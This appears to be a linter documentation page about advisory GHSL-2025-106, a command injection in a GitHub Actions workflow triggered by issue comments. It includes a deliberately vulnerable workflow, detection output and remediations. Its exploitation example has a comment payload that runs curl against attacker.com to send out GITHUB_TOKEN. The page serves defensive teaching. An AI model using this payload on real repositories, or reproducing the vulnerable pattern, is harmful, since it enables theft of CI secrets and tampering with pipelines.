GHSL-2025-106: Code Injection via Comment Body

GHSL-2025-106: Code Injection via Comment Body #

Summary #

ItemValue
Advisory IDGHSL-2025-106
SeverityCritical
Affected Componentesphome/esphome-docs
CVEN/A
CWECWE-78 (OS Command Injection)
Referencehttps://securitylab.github.com/advisories/GHSL-2025-106_esphome_esphome-docs/

Vulnerability Description #

GHSL-2025-106 is a code injection vulnerability in the component-image.yml workflow. The vulnerability occurs when the comment body is directly assigned to a shell variable without sanitization in an issue_comment triggered workflow.

Attack Vector #

sequenceDiagram
    participant Attacker
    participant Issue
    participant Workflow
    participant Cache

    Attacker->>Issue: Post comment with malicious payload
    Note right of Attacker: /generate-image"; curl attacker.com?t=$GITHUB_TOKEN; echo "
    Issue->>Workflow: Trigger issue_comment event
    Workflow->>Workflow: comment="${{ comment.body }}"
    Note right of Workflow: Shell interprets injected commands
    Workflow->>Cache: Potential cache poisoning
    Workflow-->>Attacker: Code execution achieved

Vulnerable Code Pattern #

name: Component Image (Vulnerable)

on:
  issue_comment:
    types: [created]

permissions:
  pull-requests: write

jobs:
  generate-image:
    if: contains(github.event.comment.body, '/generate-image')
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      # VULNERABLE: Comment body directly assigned to shell variable
      - name: Parse comment
        run: |
          comment="${{ github.event.comment.body }}"
          echo "Processing: $comment"

      - name: Generate image
        run: |
          python generate_image.py

Exploitation Example #

Comment content:

/generate-image"; curl https://attacker.com/steal?token=$GITHUB_TOKEN; echo "

Resulting shell command:

comment="/generate-image"; curl https://attacker.com/steal?token=$GITHUB_TOKEN; echo ""
echo "Processing: $comment"

sisakulint Detection #

sisakulint detects this vulnerability with the code-injection-critical rule:

script/actions/ghsl/ghsl-2025-106.yaml:25:23: code injection (critical):
"github.event.comment.body" is potentially untrusted and used in a workflow
with privileged triggers. Avoid using it directly in inline scripts. Instead,
pass it through an environment variable. [code-injection-critical]

Why issue_comment is Dangerous #

The issue_comment trigger creates a direct attack surface:

Risk FactorDescription
Open AccessAnyone who can view an issue can comment
Full PermissionsWorkflow runs with repository permissions
Secret AccessConfigured secrets are available
No SandboxingUnlike pull_request, no fork isolation

Remediation #

- name: Parse comment
  env:
    COMMENT_BODY: ${{ github.event.comment.body }}
  run: |
    echo "Processing: $COMMENT_BODY"

Option 2: Restrict to Trusted Users #

jobs:
  generate-image:
    if: |
      contains(github.event.comment.body, '/generate-image') &&
      (github.event.comment.author_association == 'OWNER' ||
       github.event.comment.author_association == 'MEMBER' ||
       github.event.comment.author_association == 'COLLABORATOR')

Option 3: Use GitHub Script #

- uses: actions/github-script@v7
  env:
    COMMENT_BODY: ${{ github.event.comment.body }}
  with:
    script: |
      const comment = process.env.COMMENT_BODY;
      console.log(`Processing: ${comment}`);

Auto-Fix Support #

sisakulint provides auto-fix for this vulnerability:

sisakulint -fix on script/actions/ghsl/ghsl-2025-106.yaml

The auto-fix will:

  1. Create an environment variable COMMENT_BODY
  2. Replace direct interpolation with $COMMENT_BODY

Test Files #

  • Vulnerable pattern: script/actions/ghsl/ghsl-2025-106.yaml

Fix Reference #

References #